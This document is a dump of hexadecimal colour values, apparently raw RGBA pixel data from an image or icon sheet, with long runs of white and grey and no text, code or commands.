53FFDD9055FFDD9155FFE49657FF91735FFF833A25FFB03810FFAE3A13FFAF3B
15FFAF3C16FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C
16FFAF3B15FFAE3913FFB2390FFF7E5449FF9E6B25FFE8870BFF96932BFF00AD
5EFF15AB58FF17AB58FF17AB58FF17AB58FF17AB58FF17AB58FF17AB58FF16AB
58FF15AB58FF13AA57FF0FAE58FF497C5FFF4828AEFF5015F2FF5118EEFF5211
EDFF5122F2FF5229F8FF521EFBFF5504FEFF5031D3FF4D6298FF4A935EFF45C2
24FF45C81BFF45C21FFF44C322FF58834FFF996B4AFFD28C52FFCE8B54FFCE8B
55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B
55FFCE8B55FFCE8A53FFD48D54FF8B705DFF853923FFB1380BFFAF380EFFB03A
10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A
11FFB03910FFAF380EFFB3380AFF7D5447FFA8671FFF969725FF00AF5FFF0FAC
57FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC
58FF10AC57FF0EAB56FF0AAF59FF477B5DFF4724B0FF510BFAFF510BFAFF530A
FFFF502FD1FF4C5E96FF49915AFF46C321FF45C91AFF46C420FF46BF25FF46BB
28FF45BB2AFF43BB27FF44C026FF57824EFF996B49FFD38D53FFCF8B53FFCF8B
54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C
54FFCF8B54FFCF8B52FFD68E55FF8A6F5CFF8A4230FFBC5433FFB95231FFB853
33FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB853
33FFB85333FFB95231FFBC5232FF8B6055FF76773CFF20BC76FF31B46BFF33B6
6BFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B5
6CFF33B66BFF31B46CFF32B86EFF558A69FF4E41A1FF637D9FFF5F9B76FF5CCC
3CFF5BD236FF5BCD3CFF5CC941FF5CC545FF5CC446FF5CC446FF5CC446FF5CC4
47FF5CC345FF5BC346FF5DC747FF64915BFF9E7150FFD99C6BFFD69A68FFD69A
69FFD69969FFD69969FFD69969FFD69969FFD69969FFD69969FFD69969FFD699
69FFD69A69FFD69A68FFDA9C6BFF987C68FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBEFFBEBEBEFFBEBEBEFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF4C813BFF52AE33FF52AB33FF51AA
34FF52AA34FF56A628FF2BECC6FF0B8D93FF4B4242FFFFFFFFFF42A320FF51AA
34FF52AB33FF51AB32FF53B033FF627C58FF5B3F9CFF6739DDFF6639DAFF6538
DAFF6638DAFF6030D7FFAA8FECFFFFFFFFFFFFFFFFFFB58E57FF874B00FF8C51
02FF8C5103FF8D5002FF8F5200FF736045FF2747BCFF1246FFFF1344FFFF1244
FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244
FFFF1345FFFF1244FFFF1345FFFF4A5C9FFF2A2A2AFF101010FF101010FF1111
11FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111
11FF111111FF101010FF101010FF4E4E4EFF4D843AFF4FA631FF50A431FF50A5
32FF51A533FF55A224FF2BF1BFFF099188FF4B4035FFFFFFFFFF419F1BFF51A5
32FF50A532FF4FA431FF50A730FF628058FF51399EFF532CD6FF552CD3FF562E
D3FF562FD3FF4E26D1FF9B83E5FFFFFFFFFFFFFFFFFFA78357FF774201FF7C48
0AFF7B4709FF7A4608FF7C4605FF715C44FF2D40B2FF1C34E9FF1C34E5FF1D37
E5FF1D36E5FF1D36E5FF1D36E5FF1D37E5FF1D36E5FF1D36E5FF1D36E5FF1D37
E5FF1B35E5FF1C34E5FF1C34EBFF4A579DFF282828FF101010FF111111FF1212
12FF111111FF131313FF131313FF131313FF131313FF131313FF131313FF1111
11FF121212FF111111FF101010FF4D4D4DFF4C8139FF4EA62DFF4FA22EFF50A4
31FF51A72CFF519E32FF323CBCFF3329C6FF3135C3FF663DDBFF499238FF52A8
2BFF50A431FF4FA32FFF4EA62EFF607D56FF4A329FFF4822D6FF4A25D4FF4A25
D4FF4A27D4FF431DD2FF957DE5FFFFFFFFFFFFFFFFFFA07C59FF6D3804FF723F
0DFF71400CFF723F0AFF723C08FF6D5B48FF3035ADFF2027E5FF2128E3FF2229
E2FF232AE2FF2329E0FF262ADFFF2628DBFF2629DEFF252AE0FF2329E0FF232A
E2FF2229E2FF2127E1FF1F26E7FF4F5498FF262626FF0D0D0DFF0F0F0FFF1010
10FF0F0F0FFF111111FF111111FF111111FF111111FF111111FF111111FF0F0F
0FFF101010FF0F0F0FFF0B0B0BFF4A4A4AFF43792CFF3D9C19FF3F9B1CFF409C
1BFF499C2BFF2F02CDFF317AABFF3110C2FF3122B3FF2D55AFFF2E23CEFF488F
38FF409D1AFF3F991BFF3D9D19FF5B7A4EFF3F299EFF3812D6FF3814D2FF3B17
D3FF3A16D3FF330ED2FF8D76E4FFFFFFFFFFFFFFFFFF9A7556FF612C00FF6632
05FF653106FF643004FF652F01FF675546FF794725FF9A450AFF99460DFF9947
0FFF99470DFF9A5724FF86411EFF554B6FFF6B544AFF88411CFF9B5A28FF9A47
0DFF99470EFF99470DFF9C460AFF785D4BFF202020FF000000FF000000FF0101
01FF000000FF000000FF030100FF070200FF060200FF020000FF000000FF0000
00FF010101FF000000FF000000FF484848FFBBBEB8FFFFFFFFFFFFFFFDFFFFFF
FFFF7266D7FF2D4DADFF3100C5FF3146BCFF3C8846FF310FB2FF2D23BEFF5B5E
C8FFFFFFFFFFFFFFFDFFFFFFFFFF9EA19EFF6456A7FF745CE4FF745CE0FF755D
E0FF755FE0FF725ADFFF9F8FE8FFF6F4F7FFF6F5FFFFAC938BFF946E52FF9670
55FF957056FF946F53FF977054FF786B62FF7A4323FF9A3F07FF983E0AFF983F
0CFF9E4006FF694445FF49A7DCFF414E6DFF3E4C86FF2A99D0FF873A1DFF9C40
09FF983F0BFF993E0AFF9A3E06FF785B48FFC7C7C7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC9FFFFFFD5FFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF595253FF63585AFF625859FF675E
50FF3414C2FF3024C1FF2E07C5FF6F50AFFF3B8C0DFF3107C7FF3122C0FF2D1E
C8FF685E52FF615758FF625759FF666363FFC2C3BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFDDE8C1FF4E4D8CFF3F4433FFDAE8CDFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A2A3FF803F20FFA63A00FFA13600FFA036
00FFA73400FF61696BFF5A4D77FF7A8E6EFF6F725DFF536C95FF794C3BFFA536
00FFA03700FF9F3600FFA33400FF7C5847FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFA1EBFCFF7BE5FDFF67E0FCFFD3F6FEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF205C5FFF076A6EFF0A6A6EFF0772
67FF2E0FC2FF3043B8FF2A00C6FF9B948EFF466456FF3004CCFF3335B6FF331A
CBFF036F66FF05676BFF02686CFF476869FFBFC3C4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD0DCC3FF84756CFF786F97FFC8D8ABFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A39EFF2BA8C6FF1AE6FFFF1DE4FFFF1BE2
FFFF17E3FFFF12D0FFFF534759FFC5B291FFB97C4AFF3A5D6DFF12D1FFFF16E3
FFFF16E1FFFF14E2FFFF11E7FFFF4B94A5FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFACEEFCFF87E7FDFF57DDFCFFDFF8FEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF33B1A3FF28F5DEFF2AF0DAFF2AFC
DBFF3867CBFF3B3EBAFF3106CBFF556A9BFF5A2FB9FF2D06C6FF302CBBFF2D4D
BFFF1FFBD8FF1FEED5FF1FF5DDFF509991FF725B45FF936A46FF916B48FF936C
49FF926C4AFF906743FFB39986FFB9B4A8FFB4B3B4FF9681E1FF6349DDFF664D
DDFF664CDDFF644BDDFF674BE2FF695F92FF339FB8FF28D9FFFF2BD7FCFF2DD7
FCFF2AD7FDFF67BED4FF1B9EABFF4A6C6CFF3BB3CEFF18929AFF5DBDD6FF1DD5
FFFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFFC6C6BBFFFFFFFFFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFBFBFBFFF6FBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A59FFF527E32FF60A72AFF60A52DFF61A7
2EFF5FAB35FF3E11CEFF407BB4FF3E27C8FF3C33C0FF376FAFFF3911D4FF599E
3CFF5FA628FF5EA42BFF61AA2CFF627B50FF5E3F21FF713D0AFF6F3F0CFF703F
10FF724111FF6C3907FFAE9072FFFFFFFFFFFFFFFFFF8268E5FF3D17D5FF441F
D6FF441FD6FF441ED6FF461CDDFF584D8FFF339FB8FF2CDAFFFF2ED8FCFF30D8
FCFF30D9FFFF33C5E2FF456369FF5B7A87FF404C4EFF37636EFF2FCFF0FF2DD8
FDFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF32249CFF2B11D3FF2B15CCFF2E17
CCFF2D18CCFF2D18CDFF2E18CDFF3019CDFF2D16CCFF2A14CBFF2913CBFF2913
CBFF2912CBFF2913CCFF2B12D5FF50498CFF50843BFF5DAF3CFF5EAD3DFF5FAE
3EFF60B03CFF61AF38FF4054C1FF3F29CFFF422CC4FF875AE6FF5AA63CFF61B2
3BFF5FAE3EFF5EAD3CFF5FB13CFF607D55FF604125FF774410FF774613FF7647
15FF784816FF72400DFFAF9374FFFFFFFFFFFFFFFFFF896EE5FF4922D8FF4F29
DAFF4E28DAFF4C26D8FF4D24DFFF5B4F8FFF34A0B8FF2DDBFFFF2FD9FCFF31D9
FCFF32D9FCFF31DAFFFF30E2FFFF2EE1FFFF30E4FFFF31E2FFFF32DAFDFF32D9
FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF3F309EFF3F27DAFF4029D5FF402B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF51833AFF5FB13CFF5DAD3CFF5EAF
3DFF5FAF3DFF64AB30FF35F4C5FF0C9188FF4B4235FFFFFFFFFF4FA929FF5FAF
3DFF5EAF3DFF5DAD3CFF61B43BFF607C55FF604023FF78450BFF76450EFF7846
10FF784711FF724006FFB09372FFFFFFFFFFFFFFFFFF886BE6FF481FD8FF4D25
DAFF4D26DAFF4C23DAFF4D21E1FF5A4D8EFF33A1B8FF2CDDFFFF2CD9FCFF2FD9
FCFF2ED9FCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF2ED9
FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF588A42FF73BB57FF71B854FF72B8
55FF72B855FF75B54BFF4EEDCFFF309AA0FF645A5BFFFFFFFFFF64B044FF72B8
55FF72B855FF71B854FF73BB55FF6C8B60FF67482FFF8D6033FF8A5C31FF8A5D
33FF8A5D33FF85562BFFBAA189FFFFFFFFFFFFFFFFFF9881EBFF5D3DDFFF6344
E0FF6342E0FF6242E0FF6543E4FF655B9DFF3CA5BDFF4BE2FFFF49DFFEFF4AE0
FEFF4AE0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF4AE0
FEFF4AE0FEFF49DFFEFF4AE3FFFF5D9DACFF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF51447AFF2D2CFDFF332FE8FF3530
E6FF3630E6FF3631E6FF3631E6FF3631E6FF3631E6FF3631E6FF3631E6FF3530
E6FF3530E6FF342FE5FF3630EDFF565591FF5C45C1FF4C29DFFF4D2ADFFF4E2B
DFFF3E17DBFFFFFFFFFFFFFDFFFF3E17DBFF4E2BDFFF4E2BDFFF4E2BDFFF4E2B
DFFF4E2BDFFF4D2ADFFF4C28DFFF7465B4FFA0B689FF5AE02AFF2FD000FF3ED6
0FFF40D610FF40D610FF40D610FF40D610FF40D610FF40D610FF40D610FF40D6
11FF41D60FFF40D510FF41DC10FF598E48FFBDBDBDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF77542BFF7B4E45FF312AD9FF2C29
E5FF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322C
DBFF312CDBFF302ADBFF2D28E1FF545293FF573DBBFF4423D4FF4724D5FF4825
D5FF3813D1FFF6F4FCFFF3F0FBFF3814D1FF4826D5FF4826D5FF4826D5FF4825
D5FF4825D5FF4724D5FF4420D4FF6D5DB0FFBEBFB1FFFFFFFFFFBDE9A1FF37C0
11FF32BE0AFF3CC217FF3DC218FF3DC218FF3DC218FF3DC218FF3DC218FF3DC2
16FF3CC217FF3BC214FF3BC514FF578C4AFFBABABAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFF3F5EFFFC6CEAFFFEDEFE4FFC8CFB2FFEEEFE7FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9FFF6F4E32FF8B521AFF8E5514FF4F37
94FF2222EDFF2A27DCFF2B28D9FF2B28D9FF2B28D9FF2B28D9FF2B28D9FF2B26
D9FF2C27D9FF2B25DAFF2823E0FF545192FF5339B9FF411CD3FF411FD4FF4220
D4FF330CCFFFF5F5FCFFF3F1FBFF330DD0FF4421D4FF4421D4FF441FD4FF441F
D4FF4220D4FF421DD2FF3F1AD3FF6D5CAFFFBABBB2FFFFFFF6FFFFFFFBFFFFFF
FFFF94D97CFF26B206FF32B813FF39BB1BFF39BB1BFF39BB1BFF39BB1BFF3ABB
1BFF3AB91AFF38B919FF37BD16FF59884DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFF0F2EBFFA5AF7BFFC9CEAFFFFFFFFFFFC9D1B4FFA8B181FFE7EADEFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6D4C2DFF854C1BFF864D1CFF8D53
10FF74473FFF2823D7FF2220E3FF2722DAFF2722DAFF2722DAFF2722DAFF2722
DAFF2621DAFF251FD8FF231EDFFF525091FF4F36B8FF3B16D1FF3D1AD3FF3E1A
D2FF2F08CEFFF6F4FCFFF2F0FBFF2F08CEFF3F1BD2FF3F1BD2FF3F1BD2FF3F1C
D2FF3E1AD2FF3C18D3FF3914D2FF6B5AAEFFB9B9B7FFFFFFFFFFFFFFFBFFFFFF
FCFFFFFFFFFFF8FBF4FF68C554FF23AB07FF34B21AFF37B31EFF38B31EFF36B3
1EFF37B31DFF34B41BFF34B618FF57834DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFF4FFFFFFFBFFE9F6FFFFFFFFFFFFFFFFFFFFFBFBFAFFF6F7F3FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6C4C2CFF844B18FF834C1BFF844D
1CFF884E18FF8C510FFF4A3292FF1C1CEEFF2520DCFF2520D9FF2520D9FF241F
D9FF231EDAFF221CD8FF201ADFFF504E90FF4428B7FF2700CDFF2A02CEFF2B03
CEFF1B00CBFFF4F2FCFFF0EDFBFF1B00CBFF2C05CEFF2C05CEFF2C05CEFF2C04
CEFF2B03CEFF2801CDFF2500CDFF6553AEFFB9B9B9FFFFFFFFFFFFFFFEFFFFFF
FEFFFEFEFEFFFFFFFFFFFFFFFFFFD7EFD3FF43B62EFF28AC0FFF35B11EFF35B0
1EFF34B01EFF33AF1CFF31B319FF56824EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF3297F0FF0076EBFF0B84EDFF3C9EF0FFCCE5FAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6D4C2CFF8A501DFF854E1CFF834C
1DFF864F1FFF864F1DFF8D520FFF6F4036FF1F16C5FF1915D9FF1915D7FF1A14
D7FF1813D7FF1712D5FF150EDCFF4D4B91FFDADAD9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC3C5C5FFB9B9B9FFFFFFFFFFF2F2FFFF3030
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFE3ADFF2FAE20FF29AA
17FF27AB18FF27A916FF24B213FF54824EFFB9B9B9FFFFFFFFFFFFFFFFFFD6EA
FBFF0D85EDFF007BECFF0C86EDFF0783EDFF1288EDFF60AFF2FFEAF3FDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6F4E2FFF8B5320FF8B5523FF8A53
21FF844E1EFF844C1CFF763C07FFA78054FFFFFFF9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFFC6C2D4FFE5E0F8FFE6E1F8FFE6E0
F8FFE1DCF7FFFDFDFDFFFDFEFDFFE1DCF7FFE4E0F9FFE4E0F9FFE4E0F9FFE4E0
F9FFE4E0F9FFE5DFF9FFE3DFF7FFB8B6C2FFB9B9B9FFFFFFFFFFDADAFFFF5C5C
FFFFE1E1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCDDC3FFF9B578FFF9B5
79FFFAB578FFF8B576FFFFB979FF9B846EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFF3F9FEFFDCEDFBFF0182ECFF0079ECFF0076EAFF2793EEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF704E2FFF8E5722FF8C5826FF8E59
28FF895320FF864E1CFFDCCDC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF462BB8FF360AD1FF380ED2FF3A10
D2FF2A00CEFFF4F2FCFFF0EEFBFF1E00CBFF2D07CEFF2D07CEFF2D07CEFF2D06
CEFF2C04CEFF2902CDFF2800CDFF6452AEFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E9D6FFE8B470FFE7B068FFE8B470FFE8B5
6FFFE9B56EFFE7B36DFFEEB96FFF96846BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFEBF5FDFFFFFFFFFFFFFFFEFF9ECEF7FF68B7F4FFF9FB
FDFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF705030FF925A26FF8E5926FF864C
15FFAE8762FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5136BAFF481ED6FF4B22D7FF4C24
D7FF3E12D3FFF6F4FCFFF4F1FCFF3F13D3FF4B24D7FF4A23D6FF4922D6FF4922
D6FF4922D6FF4920D7FF491FD6FF6B5AB0FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFCF8F2FFEEC792FFE9B772FFE9BB7AFFEABB7BFFEABB7AFFEABB
7AFFEABB7AFFEABC7BFFF1C280FF96856DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFB9DD
F9FFFAFBFEFFFFFFFFFFFFFFFFFF9E9E9EFF705030FF8F561EFF8C561FFFE0D2
C2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5236BBFF4C20D7FF4D23D8FF4E25
D8FF4013D4FFF7F5FCFFF3F2FCFF4013D4FF4F26D8FF4F26D8FF4F26D8FF4F26
D8FF4E25D8FF4D23D8FF4C1FD7FF6B5AB0FFB9B9B9FFFFFFFFFFFFFFFFFFFEFF
FFFFF2D5AEFFE8B872FFEABD7BFFEBBF82FFEBBF82FFEBBF81FFEBBF81FFEBBF
